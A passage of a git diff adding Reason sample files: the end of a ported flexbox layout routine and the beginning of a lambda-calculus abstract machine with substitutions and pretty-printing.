+            remainingFreeSpace.contents = remainingFreeSpace.contents +. deltaFreeSpace.contents;
+            deltaFreeSpace.contents = zero;
+            currentRelativeChild.contents = firstRelativeChild.contents;
+            while (currentRelativeChild.contents !== theNullNode) {
+              childFlexBasis.contents = currentRelativeChild.contents.layout.computedFlexBasis;
+              let updatedMainSize = {contents: childFlexBasis.contents};
+              if (remainingFreeSpace.contents < zero) {
+                flexShrinkScaledFactor.contents =
+                  -. currentRelativeChild.contents.style.flexShrink *. childFlexBasis.contents;
+                if (flexShrinkScaledFactor.contents != zero) {
+                  updatedMainSize.contents =
+                    boundAxis
+                      currentRelativeChild.contents
+                      mainAxis
+                      (
+                        childFlexBasis.contents +.
+                        /*
+                         * Important to first scale, then divide - to support
+                         * fixed point encoding.
+                         */
+                        flexShrinkScaledFactor.contents *. remainingFreeSpace.contents /.
+                        totalFlexShrinkScaledFactors.contents
+                      )
+                }
+              } else if (
+                remainingFreeSpace.contents > zero
+              ) {
+                flexGrowFactor.contents = currentRelativeChild.contents.style.flexGrow;
+                if (flexGrowFactor.contents != zero) {
+                  updatedMainSize.contents =
+                    boundAxis
+                      currentRelativeChild.contents
+                      mainAxis
+                      (
+                        childFlexBasis.contents +.
+                        /*
+                         * Important to first scale, then divide - to support
+                         * fixed point encoding.
+                         */
+                        flexGrowFactor.contents *. remainingFreeSpace.contents /.
+                        totalFlexGrowFactors.contents
+                      )
+                }
+              };
+              deltaFreeSpace.contents =
+                deltaFreeSpace.contents -. (updatedMainSize.contents -. childFlexBasis.contents);
+              let childWidth = {contents: zero};
+              let childHeight = {contents: zero};
+              let childWidthMeasureMode = {contents: CssMeasureModeUndefined};
+              let childHeightMeasureMode = {contents: CssMeasureModeUndefined};
+              if isMainAxisRow {
+                childWidth.contents =
+                  updatedMainSize.contents +.
+                  getMarginAxis currentRelativeChild.contents CssFlexDirectionRow;
+                childWidthMeasureMode.contents = CssMeasureModeExactly;
+                if (
+                  not (isUndefined availableInnerCrossDim) &&
+                  not (isStyleDimDefined currentRelativeChild.contents CssFlexDirectionColumn) &&
+                  heightMeasureMode === CssMeasureModeExactly &&
+                  getAlignItem node currentRelativeChild.contents === CssAlignStretch
+                ) {
+                  childHeight.contents = availableInnerCrossDim;
+                  childHeightMeasureMode.contents = CssMeasureModeExactly
+                } else if (
+                  not (isStyleDimDefined currentRelativeChild.contents CssFlexDirectionColumn)
+                ) {
+                  childHeight.contents = availableInnerCrossDim;
+                  childHeightMeasureMode.contents =
+                    isUndefined childHeight.contents ? CssMeasureModeUndefined : CssMeasureModeAtMost
+                } else {
+                  childHeight.contents =
+                    currentRelativeChild.contents.style.height +.
+                    getMarginAxis currentRelativeChild.contents CssFlexDirectionColumn;
+                  childHeightMeasureMode.contents = CssMeasureModeExactly
+                }
+              } else {
+                childHeight.contents =
+                  updatedMainSize.contents +.
+                  getMarginAxis currentRelativeChild.contents CssFlexDirectionColumn;
+                childHeightMeasureMode.contents = CssMeasureModeExactly;
+                if (
+                  not (isUndefined availableInnerCrossDim) &&
+                  not (isStyleDimDefined currentRelativeChild.contents CssFlexDirectionRow) &&
+                  widthMeasureMode === CssMeasureModeExactly &&
+                  getAlignItem node currentRelativeChild.contents === CssAlignStretch
+                ) {
+                  childWidth.contents = availableInnerCrossDim;
+                  childWidthMeasureMode.contents = CssMeasureModeExactly
+                } else if (
+                  not (isStyleDimDefined currentRelativeChild.contents CssFlexDirectionRow)
+                ) {
+                  childWidth.contents = availableInnerCrossDim;
+                  childWidthMeasureMode.contents =
+                    isUndefined childWidth.contents ? CssMeasureModeUndefined : CssMeasureModeAtMost
+                } else {
+                  childWidth.contents =
+                    currentRelativeChild.contents.style.width +.
+                    getMarginAxis currentRelativeChild.contents CssFlexDirectionRow;
+                  childWidthMeasureMode.contents = CssMeasureModeExactly
+                }
+              };
+              let requiresStretchLayout =
+                not (isStyleDimDefined currentRelativeChild.contents crossAxis) &&
+                getAlignItem node currentRelativeChild.contents === CssAlignStretch;
+              let _ =
+                layoutNodeInternal
+                  currentRelativeChild.contents
+                  childWidth.contents
+                  childHeight.contents
+                  direction
+                  childWidthMeasureMode.contents
+                  childHeightMeasureMode.contents
+                  (performLayout && not requiresStretchLayout)
+                  flexString;
+              currentRelativeChild.contents = currentRelativeChild.contents.nextChild
+            }
+          };
+          remainingFreeSpace.contents = originalRemainingFreeSpace +. deltaFreeSpace.contents;
+          /* If we are using "at most" rules in the main axis. Calculate the remaining space when
+             constraint by the min size defined for the main axis. */
+          if (measureModeMainDim === CssMeasureModeAtMost) {
+            let minDim = styleMinDimensionForAxis node mainAxis;
+            if (not (isUndefined minDim) && minDim >= 0) {
+              remainingFreeSpace.contents =
+                fmaxf 0 (minDim - (availableInnerMainDim -. remainingFreeSpace.contents))
+            } else {
+              remainingFreeSpace.contents = zero
+            }
+          };
+          switch justifyContent {
+          | CssJustifyCenter => leadingMainDim.contents = divideScalarByInt remainingFreeSpace.contents 2
+          | CssJustifyFlexEnd => leadingMainDim.contents = remainingFreeSpace.contents
+          | CssJustifySpaceBetween =>
+            if (itemsOnLine.contents > 1) {
+              betweenMainDim.contents =
+                divideScalarByInt (fmaxf remainingFreeSpace.contents zero) (itemsOnLine.contents - 1)
+            } else {
+              betweenMainDim.contents = zero
+            }
+          | CssJustifySpaceAround =>
+            betweenMainDim.contents = divideScalarByInt remainingFreeSpace.contents itemsOnLine.contents;
+            leadingMainDim.contents = divideScalarByInt betweenMainDim.contents 2
+          | CssJustifyFlexStart => ()
+          };
+          let mainDim = {contents: leadingPaddingAndBorderMain +. leadingMainDim.contents};
+          let crossDim = {contents: zero};
+          for i in startOfLineIndex.contents to (endOfLineIndex.contents - 1) {
+            child.contents = node.children.(i);
+            if (
+              child.contents.style.positionType === CssPositionAbsolute &&
+              isLeadingPosDefinedWithFallback child.contents mainAxis
+            ) {
+              if performLayout {
+                setLayoutLeadingPositionForAxis
+                  child.contents
+                  mainAxis
+                  (
+                    getLeadingPositionWithFallback child.contents mainAxis +. getLeadingBorder node mainAxis +.
+                    getLeadingMargin child.contents mainAxis
+                  )
+              }
+            } else {
+              if performLayout {
+                setLayoutLeadingPositionForAxis
+                  child.contents
+                  mainAxis
+                  (layoutPosPositionForAxis child.contents mainAxis +. mainDim.contents)
+              };
+              if (child.contents.style.positionType === CssPositionRelative) {
+                if canSkipFlex {
+                  mainDim.contents =
+                    mainDim.contents +. betweenMainDim.contents +. getMarginAxis child.contents mainAxis +.
+                    child.contents.layout.computedFlexBasis;
+                  crossDim.contents = availableInnerCrossDim
+                } else {
+                  mainDim.contents =
+                    mainDim.contents +. betweenMainDim.contents +. getDimWithMargin child.contents mainAxis;
+                  crossDim.contents = fmaxf crossDim.contents (getDimWithMargin child.contents crossAxis)
+                }
+              }
+            }
+          };
+          mainDim.contents = mainDim.contents +. trailingPaddingAndBorderMain;
+          let containerCrossAxis = {contents: availableInnerCrossDim};
+          if (
+            measureModeCrossDim === CssMeasureModeUndefined || measureModeCrossDim === CssMeasureModeAtMost
+          ) {
+            containerCrossAxis.contents =
+              boundAxis node crossAxis (crossDim.contents +. paddingAndBorderAxisCross) -. paddingAndBorderAxisCross;
+            if (measureModeCrossDim === CssMeasureModeAtMost) {
+              containerCrossAxis.contents = fminf containerCrossAxis.contents availableInnerCrossDim
+            }
+          };
+          if (not isNodeFlexWrap && measureModeCrossDim === CssMeasureModeExactly) {
+            crossDim.contents = availableInnerCrossDim
+          };
+          crossDim.contents =
+            boundAxis node crossAxis (crossDim.contents +. paddingAndBorderAxisCross) -. paddingAndBorderAxisCross;
+          /*
+           * STEP 7: CROSS-AXIS ALIGNMENT We can skip child alignment if we're
+           * just measuring the container.
+           */
+          if performLayout {
+            for i in startOfLineIndex.contents to (endOfLineIndex.contents - 1) {
+              child.contents = node.children.(i);
+              if (child.contents.style.positionType === CssPositionAbsolute) {
+                if (isLeadingPosDefinedWithFallback child.contents crossAxis) {
+                  setLayoutLeadingPositionForAxis
+                    child.contents
+                    crossAxis
+                    (
+                      getLeadingPositionWithFallback child.contents crossAxis +.
+                      getLeadingBorder node crossAxis +.
+                      getLeadingMargin child.contents crossAxis
+                    )
+                } else {
+                  setLayoutLeadingPositionForAxis
+                    child.contents
+                    crossAxis
+                    (leadingPaddingAndBorderCross +. getLeadingMargin child.contents crossAxis)
+                }
+              } else {
+                let leadingCrossDim = {contents: leadingPaddingAndBorderCross};
+                let alignItem = getAlignItem node child.contents;
+                if (alignItem === CssAlignStretch) {
+                  let childWidth = {contents: zero};
+                  let childHeight = {contents: zero};
+                  let childWidthMeasureMode = {contents: CssMeasureModeUndefined};
+                  let childHeightMeasureMode = {contents: CssMeasureModeUndefined};
+                  childWidth.contents =
+                    child.contents.layout.measuredWidth +. getMarginAxis child.contents CssFlexDirectionRow;
+                  childHeight.contents =
+                    child.contents.layout.measuredHeight +.
+                    getMarginAxis child.contents CssFlexDirectionColumn;
+                  let isCrossSizeDefinite = {contents: false};
+                  if isMainAxisRow {
+                    isCrossSizeDefinite.contents = isStyleDimDefined child.contents CssFlexDirectionColumn;
+                    childHeight.contents = crossDim.contents
+                  } else {
+                    isCrossSizeDefinite.contents = isStyleDimDefined child.contents CssFlexDirectionRow;
+                    childWidth.contents = crossDim.contents
+                  };
+                  if (not isCrossSizeDefinite.contents) {
+                    childWidthMeasureMode.contents =
+                      isUndefined childWidth.contents ? CssMeasureModeUndefined : CssMeasureModeExactly;
+                    childHeightMeasureMode.contents =
+                      isUndefined childHeight.contents ? CssMeasureModeUndefined : CssMeasureModeExactly;
+                    let _ =
+                      layoutNodeInternal
+                        child.contents
+                        childWidth.contents
+                        childHeight.contents
+                        direction
+                        childWidthMeasureMode.contents
+                        childHeightMeasureMode.contents
+                        true
+                        stretchString;
+                    ()
+                  }
+                } else if (
+                  alignItem !== CssAlignFlexStart
+                ) {
+                  let remainingCrossDim =
+                    containerCrossAxis.contents -. getDimWithMargin child.contents crossAxis;
+                  if (alignItem === CssAlignCenter) {
+                    leadingCrossDim.contents =
+                      leadingCrossDim.contents +. divideScalarByInt remainingCrossDim 2
+                  } else {
+                    leadingCrossDim.contents = leadingCrossDim.contents +. remainingCrossDim
+                  }
+                };
+                setLayoutLeadingPositionForAxis
+                  child.contents
+                  crossAxis
+                  (
+                    layoutPosPositionForAxis child.contents crossAxis +. totalLineCrossDim.contents +.
+                    leadingCrossDim.contents
+                  )
+              }
+            }
+          };
+          totalLineCrossDim.contents = totalLineCrossDim.contents +. crossDim.contents;
+          maxLineMainDim.contents = fmaxf maxLineMainDim.contents mainDim.contents;
+          lineCount.contents = lineCount.contents + 1;
+          startOfLineIndex.contents = endOfLineIndex.contents
+        };
+        if (lineCount.contents > 1 && performLayout && not (isUndefined availableInnerCrossDim)) {
+          let remainingAlignContentDim = availableInnerCrossDim -. totalLineCrossDim.contents;
+          let crossDimLead = {contents: zero};
+          let currentLead = {contents: leadingPaddingAndBorderCross};
+          let alignContent = node.style.alignContent;
+          if (alignContent === CssAlignFlexEnd) {
+            currentLead.contents = currentLead.contents +. remainingAlignContentDim
+          } else if (
+            alignContent === CssAlignCenter
+          ) {
+            currentLead.contents = currentLead.contents +. divideScalarByInt remainingAlignContentDim 2
+          } else if (
+            alignContent === CssAlignStretch
+          ) {
+            if (availableInnerCrossDim > totalLineCrossDim.contents) {
+              crossDimLead.contents = divideScalarByInt remainingAlignContentDim lineCount.contents
+            }
+          };
+          let endIndex = {contents: 0};
+          for i in 0 to (lineCount.contents - 1) {
+            let startIndex = endIndex.contents;
+            let j = {contents: startIndex};
+            let lineHeight = {contents: zero};
+            let shouldContinue = {contents: false};
+            while (j.contents < childCount && shouldContinue.contents) {
+              child.contents = node.children.(j.contents);
+              if (child.contents.style.positionType === CssPositionRelative) {
+                if (child.contents.lineIndex !== i) {
+                  shouldContinue.contents = false
+                } else if (
+                  isLayoutDimDefined child.contents crossAxis
+                ) {
+                  lineHeight.contents =
+                    fmaxf
+                      lineHeight.contents
+                      (
+                        layoutMeasuredDimensionForAxis child.contents crossAxis +.
+                        getMarginAxis child.contents crossAxis
+                      )
+                }
+              };
+              j.contents = j.contents + 1
+            };
+            endIndex.contents = j.contents;
+            lineHeight.contents = lineHeight.contents +. crossDimLead.contents;
+            if performLayout {
+              for j in startIndex to (endIndex.contents - 1) {
+                child.contents = node.children.(j);
+                if (child.contents.style.positionType === CssPositionRelative) {
+                  switch (getAlignItem node child.contents) {
+                  | CssAlignFlexStart =>
+                    setLayoutLeadingPositionForAxis
+                      child.contents
+                      crossAxis
+                      (currentLead.contents +. getLeadingMargin child.contents crossAxis)
+                  | CssAlignFlexEnd =>
+                    setLayoutLeadingPositionForAxis
+                      child.contents
+                      crossAxis
+                      (
+                        currentLead.contents +. lineHeight.contents -.
+                        getTrailingMargin child.contents crossAxis -.
+                        layoutMeasuredDimensionForAxis child.contents crossAxis
+                      )
+                  | CssAlignCenter =>
+                    let childHeight = layoutMeasuredDimensionForAxis child.contents crossAxis;
+                    setLayoutLeadingPositionForAxis
+                      child.contents
+                      crossAxis
+                      (currentLead.contents +. divideScalarByInt (lineHeight.contents -. childHeight) 2)
+                  | CssAlignStretch =>
+                    setLayoutLeadingPositionForAxis
+                      child.contents
+                      crossAxis
+                      (currentLead.contents +. getLeadingMargin child.contents crossAxis)
+                  | CssAlignAuto => raise (Invalid_argument "getAlignItem should never return auto")
+                  }
+                }
+              }
+            };
+            currentLead.contents = currentLead.contents +. lineHeight.contents
+          }
+        };
+        /* STEP 9: COMPUTING FINAL DIMENSIONS */
+        node.layout.measuredWidth = boundAxis node CssFlexDirectionRow (availableWidth -. marginAxisRow);
+        node.layout.measuredHeight =
+          boundAxis node CssFlexDirectionColumn (availableHeight -. marginAxisColumn);
+        /* If the user didn't specify a width or height for the node, set the
+         * dimensions based on the children. */
+        if (measureModeMainDim === CssMeasureModeUndefined) {
+          setLayoutMeasuredDimensionForAxis node mainAxis (boundAxis node mainAxis maxLineMainDim.contents)
+        } else if (
+          measureModeMainDim === CssMeasureModeAtMost
+        ) {
+          setLayoutMeasuredDimensionForAxis
+            node
+            mainAxis
+            (
+              fmaxf
+                (
+                  fminf
+                    (availableInnerMainDim +. paddingAndBorderAxisMain)
+                    (boundAxisWithinMinAndMax node mainAxis maxLineMainDim.contents)
+                )
+                paddingAndBorderAxisMain
+            )
+        };
+        if (measureModeCrossDim === CssMeasureModeUndefined) {
+          setLayoutMeasuredDimensionForAxis
+            node
+            crossAxis
+            (boundAxis node crossAxis (totalLineCrossDim.contents +. paddingAndBorderAxisCross))
+        } else if (
+          measureModeCrossDim === CssMeasureModeAtMost
+        ) {
+          setLayoutMeasuredDimensionForAxis
+            node
+            crossAxis
+            (
+              fmaxf
+                (
+                  fminf
+                    (availableInnerCrossDim +. paddingAndBorderAxisCross)
+                    (
+                      boundAxisWithinMinAndMax
+                        node crossAxis (totalLineCrossDim.contents +. paddingAndBorderAxisCross)
+                    )
+                )
+                paddingAndBorderAxisCross
+            )
+        };
+        currentAbsoluteChild.contents = firstAbsoluteChild.contents;
+        while (currentAbsoluteChild.contents !== theNullNode) {
+          if performLayout {
+            let childWidth = {contents: cssUndefined};
+            let childHeight = {contents: cssUndefined};
+            let childWidthMeasureMode = {contents: CssMeasureModeUndefined};
+            let childHeightMeasureMode = {contents: CssMeasureModeUndefined};
+            if (isStyleDimDefined currentAbsoluteChild.contents CssFlexDirectionRow) {
+              childWidth.contents =
+                currentAbsoluteChild.contents.style.width +.
+                getMarginAxis currentAbsoluteChild.contents CssFlexDirectionRow
+            } else if (
+              isLeadingPosDefinedWithFallback currentAbsoluteChild.contents CssFlexDirectionRow &&
+              isTrailingPosDefinedWithFallback currentAbsoluteChild.contents CssFlexDirectionRow
+            ) {
+              childWidth.contents =
+                node.layout.measuredWidth -. (
+                  getLeadingBorder node CssFlexDirectionRow +. getTrailingBorder node CssFlexDirectionRow
+                ) -. (
+                  getLeadingPositionWithFallback currentAbsoluteChild.contents CssFlexDirectionRow +.
+                  getTrailingPositionWithFallback currentAbsoluteChild.contents CssFlexDirectionRow
+                );
+              childWidth.contents =
+                boundAxis currentAbsoluteChild.contents CssFlexDirectionRow childWidth.contents
+            };
+            if (isStyleDimDefined currentAbsoluteChild.contents CssFlexDirectionColumn) {
+              childHeight.contents =
+                currentAbsoluteChild.contents.style.height +.
+                getMarginAxis currentAbsoluteChild.contents CssFlexDirectionColumn
+            } else if (
+              /* If the child doesn't have a specified height, compute the height based on the top/bottom offsets if they're defined. */
+              isLeadingPosDefinedWithFallback currentAbsoluteChild.contents CssFlexDirectionColumn &&
+              isTrailingPosDefinedWithFallback currentAbsoluteChild.contents CssFlexDirectionColumn
+            ) {
+              childHeight.contents =
+                node.layout.measuredHeight -. (
+                  getLeadingBorder node CssFlexDirectionColumn +.
+                  getTrailingBorder node CssFlexDirectionColumn
+                ) -. (
+                  getLeadingPositionWithFallback currentAbsoluteChild.contents CssFlexDirectionColumn +.
+                  getTrailingPositionWithFallback currentAbsoluteChild.contents CssFlexDirectionColumn
+                );
+              childHeight.contents =
+                boundAxis currentAbsoluteChild.contents CssFlexDirectionColumn childHeight.contents
+            };
+            if (isUndefined childWidth.contents || isUndefined childHeight.contents) {
+              childWidthMeasureMode.contents =
+                isUndefined childWidth.contents ? CssMeasureModeUndefined : CssMeasureModeExactly;
+              childHeightMeasureMode.contents =
+                isUndefined childHeight.contents ? CssMeasureModeUndefined : CssMeasureModeExactly;
+              /*
+               * According to the spec, if the main size is not definite and the
+               * child's inline axis is parallel to the main axis (i.e. it's
+               * horizontal), the child should be sized using "UNDEFINED" in
+               * the main size. Otherwise use "AT_MOST" in the cross axis.
+               */
+              if (
+                (not isMainAxisRow && isUndefined childWidth.contents) &&
+                not (isUndefined availableInnerWidth)
+              ) {
+                childWidth.contents = availableInnerWidth;
+                childWidthMeasureMode.contents = CssMeasureModeAtMost
+              };
+              /*
+               * If child has no defined size in the cross axis and is set to stretch, set the cross
+               * axis to be measured exactly with the available inner width
+               */
+              let _ =
+                layoutNodeInternal
+                  currentAbsoluteChild.contents
+                  childWidth.contents
+                  childHeight.contents
+                  direction
+                  childWidthMeasureMode.contents
+                  childHeightMeasureMode.contents
+                  false
+                  absMeasureString;
+              childWidth.contents =
+                currentAbsoluteChild.contents.layout.measuredWidth +.
+                getMarginAxis currentAbsoluteChild.contents CssFlexDirectionRow;
+              childHeight.contents =
+                currentAbsoluteChild.contents.layout.measuredHeight +.
+                getMarginAxis currentAbsoluteChild.contents CssFlexDirectionColumn
+            };
+            let _ =
+              layoutNodeInternal
+                currentAbsoluteChild.contents
+                childWidth.contents
+                childHeight.contents
+                direction
+                CssMeasureModeExactly
+                CssMeasureModeExactly
+                true
+                absLayoutString;
+            if (
+              isTrailingPosDefinedWithFallback currentAbsoluteChild.contents mainAxis &&
+              not (isLeadingPosDefinedWithFallback currentAbsoluteChild.contents mainAxis)
+            ) {
+              setLayoutLeadingPositionForAxis
+                currentAbsoluteChild.contents
+                mainAxis
+                (
+                  layoutMeasuredDimensionForAxis node mainAxis -.
+                  layoutMeasuredDimensionForAxis currentAbsoluteChild.contents mainAxis -.
+                  getTrailingPositionWithFallback currentAbsoluteChild.contents mainAxis
+                )
+            };
+            if (
+              isTrailingPosDefinedWithFallback currentAbsoluteChild.contents crossAxis &&
+              not (isLeadingPosDefinedWithFallback currentAbsoluteChild.contents crossAxis)
+            ) {
+              setLayoutLeadingPositionForAxis
+                currentAbsoluteChild.contents
+                crossAxis
+                (
+                  layoutMeasuredDimensionForAxis node crossAxis -.
+                  layoutMeasuredDimensionForAxis currentAbsoluteChild.contents crossAxis -.
+                  getTrailingPositionWithFallback currentAbsoluteChild.contents crossAxis
+                )
+            }
+          };
+          currentAbsoluteChild.contents = currentAbsoluteChild.contents.nextChild
+        };
+        /* STEP 11: SETTING TRAILING POSITIONS FOR CHILDREN */
+        if performLayout {
+          let needsMainTrailingPos =
+            mainAxis == CssFlexDirectionRowReverse || mainAxis == CssFlexDirectionColumnReverse;
+          let needsCrossTrailingPos =
+            crossAxis == CssFlexDirectionRowReverse || crossAxis == CssFlexDirectionColumnReverse;
+          /* Set trailing position if necessary. */
+          if (needsMainTrailingPos || needsCrossTrailingPos) {
+            for i in 0 to (childCount - 1) {
+              let child = node.children.(i);
+              if needsMainTrailingPos {
+                setTrailingPosition node child mainAxis
+              };
+              if needsCrossTrailingPos {
+                setTrailingPosition node child crossAxis
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+  /** END_GENERATED **/
+};
+
+let layoutNode node availableWidth availableHeight parentDirection => {
+  /* Increment the generation count. This will force the recursive routine to visit*/
+  /* all dirty nodes at least once. Subsequent visits will be skipped if the input*/
+  /* parameters don't change.*/
+  gCurrentGenerationCount.contents = gCurrentGenerationCount.contents + 1;
+  /* If the caller didn't specify a height/width, use the dimensions*/
+  /* specified in the style.*/
+  let (availableWidth, widthMeasureMode) =
+    if (not (isUndefined availableWidth)) {
+      (availableWidth, CssMeasureModeExactly)
+    } else if (
+      isStyleDimDefined node CssFlexDirectionRow
+    ) {
+      (node.style.width +. getMarginAxis node CssFlexDirectionRow, CssMeasureModeExactly)
+    } else if (
+      node.style.maxWidth >= zero
+    ) {
+      (node.style.maxWidth, CssMeasureModeAtMost)
+    } else {
+      (availableWidth, CssMeasureModeUndefined)
+    };
+  let (availableHeight, heightMeasureMode) =
+    if (not (isUndefined availableHeight)) {
+      (availableHeight, CssMeasureModeExactly)
+    } else if (
+      isStyleDimDefined node CssFlexDirectionColumn
+    ) {
+      (node.style.height +. getMarginAxis node CssFlexDirectionColumn, CssMeasureModeExactly)
+    } else if (
+      node.style.maxHeight >= zero
+    ) {
+      (node.style.maxHeight, CssMeasureModeAtMost)
+    } else {
+      (availableHeight, CssMeasureModeUndefined)
+    };
+  if (
+    layoutNodeInternal
+      node
+      availableWidth
+      availableHeight
+      parentDirection
+      widthMeasureMode
+      heightMeasureMode
+      true
+      initialString
+  ) {
+    setPosition node node.layout.direction;
+    if gPrintTree.contents {
+      LayoutPrint.printCssNode (node, {printLayout: true, printChildren: true, printStyle: true})
+    }
+  }
+};
\ No newline at end of file
diff --git a/samples/Reason/Machine.re b/samples/Reason/Machine.re
new file mode 100644
index 0000000000..11cb57433c
--- /dev/null
+++ b/samples/Reason/Machine.re
@@ -0,0 +1,344 @@
+open Format;
+
+let module Endo = {
+  type t 'a = 'a => 'a;
+};
+
+let module Syntax = {
+  let module Var = {
+    type t = int;
+  };
+  let module Term = {
+    type t =
+      | App t t
+      | Lam t
+      | Var Var.t
+      ;
+  };
+  let module Sub = {
+    type t 'a =
+      | Cmp (t 'a) (t 'a)
+      | Dot 'a (t 'a)
+      | Id
+      | Shift
+      ;
+
+    let map f sgm => {
+      let rec go = fun
+      | Cmp sgm0 sgm1 => Cmp (go sgm0) (go sgm1)
+      | Dot a sgm => Dot (f a) (go sgm)
+      | Id => Id
+      | Shift => Shift
+      ;
+      go sgm;
+    };
+
+    let rec apply sgm e =>
+      switch (sgm, e) {
+      | (sgm, Term.App e0 e1) => Term.App (apply sgm e0) (apply sgm e1)
+      | (sgm, Term.Lam e) => Term.Lam (apply (Dot (Term.Var 0) (Cmp sgm Shift)) e)
+      | (Dot e _, Term.Var 0) => e
+      | (Dot _ sgm, Term.Var i) => apply sgm (Term.Var (i - 1))
+      | (Id, Term.Var i) => Term.Var i
+      | (Shift, Term.Var i) => Term.Var (i + 1)
+      | (Cmp rho sgm, e) => apply sgm (apply rho e)
+      };
+  };
+};
+
+let module Zip = {
+  open Syntax;
+  type t 'a =
+    | App0 (t 'a) 'a
+    | App1 'a (t 'a)
+    | Halt
+    | Lam (t 'a)
+    ;
+
+  let map f sgm => {
+    let rec go = fun
+    | App0 zip e1 => App0 (go zip) (f e1)
+    | App1 e0 zip => App1 (f e0) (go zip)
+    | Halt => Halt
+    | Lam zip => Lam (go zip)
+    ;
+    go sgm;
+  };
+
+  let rec apply zip acc => switch zip {
+    | App0 zip e1 => apply zip (Term.App acc e1)
+    | App1 e0 zip => apply zip (Term.App e0 acc)
+    | Halt => acc
+    | Lam zip => apply zip (Term.Lam acc)
+  };
+};
+
+let module Clo = {
+  open Syntax;
+  type t =
+    | Clo Term.t (Sub.t t);
+  let rec from (Clo term sgm) => Sub.apply (Sub.map from sgm) term;
+};
+
+let module Pretty = {
+  let module Delim = {
+    type t = string;
+    let pp prev next fmt token => if (prev < next) { fprintf fmt "%s" token };
+  };
+  let module Prec = {
+    type t = int;
+    open Syntax.Term;
+    let calc = fun
+      | App _ _ => 1
+      | Lam _ => 2
+      | Var _ => 0
+      ;
+  };
+  let module Name = {
+    type t = string;
+
+    let suffix = {
+      let script = fun
+        | 0 => "₀"
+        | 1 => "₁"
+        | 2 => "₂"
+        | 3 => "₃"
+        | 4 => "₄"
+        | 5 => "₅"
+        | 6 => "₆"
+        | 7 => "₇"
+        | 8 => "₈"
+        | 9 => "₉"
+        | _ => failwith "bad subscript";
+      let rec go acc => fun
+        | 0 => acc
+        | n => go (script (n mod 10) ^ acc) (n / 10);
+      go ""
+    };
+
+    let gen = {
+      let offset = 97;
+      let width = 26;
+      fun () i => {
+        let code = i mod width + offset;
+        let char = Char.chr code;
+        let prime = i / width;
+        let suffix = suffix prime;
+        let name = Char.escaped char ^ suffix;
+        Some name;
+      }
+    };
+  };
+
+  let module Env = {
+    type t = {
+      used: list Name.t,
+      rest: Stream.t Name.t,
+    };
+    let mk () => {
+      let used = [];
+      let rest = Stream.from @@ Name.gen ();
+      { used, rest };
+    };
+  };
+
+  type printer 'a = Env.t => Prec.t => formatter => 'a => unit;
+
+  let module Term = {
+    open Syntax.Term;
+    let rec pp ({ Env.used: used, rest } as env) prev fmt e => {
+      let next = Prec.calc e;
+      switch e {
+      | App e0 e1 =>
+        fprintf fmt "@[%a%a@ %a%a@]"
+          (Delim.pp prev next) "("
+          (pp env 1) e0
+          (pp env 0) e1
+          (Delim.pp prev next) ")"
+      | Lam e =>
+        let name = Stream.next rest;
+        let env = { ...env, Env.used: [name, ...used] };
+        fprintf fmt "%aλ%a.%a%a"
+          (Delim.pp prev next) "("
+          (pp_print_string) name
+          (pp env next) e
+          (Delim.pp prev next) ")"
+      | Var index =>
+        fprintf fmt "%s" @@ try (List.nth used index) {
+          | _ => "#" ^ string_of_int index
+          }
+      }
+    };
+  };
+
+  let module Sub = {
+    open Syntax.Sub;
+    let rec pp pp_elem env prev fmt => fun
+    | Cmp sgm1 sgm0 =>
+      fprintf fmt "@[%a;@ %a@]"
+        (pp pp_elem env prev) sgm1
+        (pp pp_elem env prev) sgm0
+    | Dot e sgm =>
+      fprintf fmt "@[%a@ ·@ %a@]"
+        (pp_elem env prev) e
+        (pp pp_elem env prev) sgm
+    | Id =>
+      fprintf fmt "ι"
+    | Shift =>
+      fprintf fmt "↑"
+    ;
+  };
+
+  let module Clo = {
+    let rec pp env prev fmt (Clo.Clo e sgm) => {
+      let next = Prec.calc e;
+      fprintf fmt "@[%a%a%a[%a]@]"
+        (Delim.pp prev next) "("
+        (Term.pp env next) e
+        (Delim.pp prev next) ")"
+        (Sub.pp pp env next) sgm
+    };
+  };
+
+  let module Zip = {
+    open Zip;
+    let rec pp pp_elem env prev fmt => fun
+    | App0 zip elem =>
+      fprintf fmt "inl@[<v -1>⟨@,%a@,%a⟩@]"
+        (pp pp_elem env prev) zip
+        (pp_elem env prev) elem
+    | App1 elem zip =>
+      fprintf fmt "inr@[<v -1>⟨@,%a@,%a⟩@]"
+        (pp_elem env prev) elem
+        (pp pp_elem env prev) zip
+    | Halt =>
+      fprintf fmt "halt"
+    | Lam zip =>
+      fprintf fmt "lam@[<v -1>⟨@,%a⟩@]"
+        (pp pp_elem env prev) zip
+    ;
+  };
+};
+
+let module Machine = {
+  type t = {
+    clo: Clo.t,
+    ctx: Zip.t Clo.t,
+  };
+
+  let into e => {
+    open Clo;
+    open Syntax.Sub;
+    let clo = Clo e Id;
+    let ctx = Zip.Halt;
+    { clo, ctx }
+  };
+
+  let from { clo, ctx } => Zip.apply (Zip.map Clo.from ctx) (Clo.from clo);
+
+  let pp fmt rule state => {
+    fprintf fmt "@[<v>ctx  ::@[<v -5>@,%a@]@,clo  ::@[<v -5>@,%a@]@,rule ::@[<v -5>@,%a@]@,term ::@[<v -5>@,%a@]@]@."
+      (Pretty.Zip.pp Pretty.Clo.pp (Pretty.Env.mk ()) 2) state.ctx
+                    (Pretty.Clo.pp (Pretty.Env.mk ()) 2) state.clo
+                                       (pp_print_string) rule
+                   (Pretty.Term.pp (Pretty.Env.mk ()) 2) (from state)
+  };
+
+  let halted state => {
+    open Clo;
+    open Syntax.Sub;
+    open Syntax.Term;
+    switch state {
+    | { clo: Clo (Var _) Id, _ } => true
+    | _ => false
+    } [@warning "-4"];
+  };
+
+  let step state => {
+    open Clo;
+    open Syntax.Sub;
+    open Syntax.Term;
+    let rule = ref "";
+    let state = switch state {
+    /* left */
+    | { clo: Clo (App e0 e1) sgm, ctx } =>
+      let clo = Clo e0 sgm;
+      let ctx = Zip.App0 ctx (Clo e1 sgm);
+      rule := "LEFT";
+      { clo, ctx };
+    /* beta */
+    | { clo: Clo (Lam e) sgm, ctx: Zip.App0 ctx c0 } =>
+      let clo = Clo e (Cmp (Dot c0 sgm) Id);
+      rule := "BETA";
+      { clo, ctx };
+    /* lambda */
+    | { clo: Clo (Lam e) sgm, ctx } =>
+      let clo = Clo e (Cmp (Dot (Clo (Var 0) Id) (Cmp sgm Shift)) Id);
+      let ctx = Zip.Lam ctx;
+      rule := "LAMBDA";
+      { clo, ctx };
+    /* associate */
+    | { clo: Clo (Var n) (Cmp (Cmp pi rho) sgm), ctx } =>
+      let clo = Clo (Var n) (Cmp pi (Cmp rho sgm));
+      rule := "ASSOCIATE";
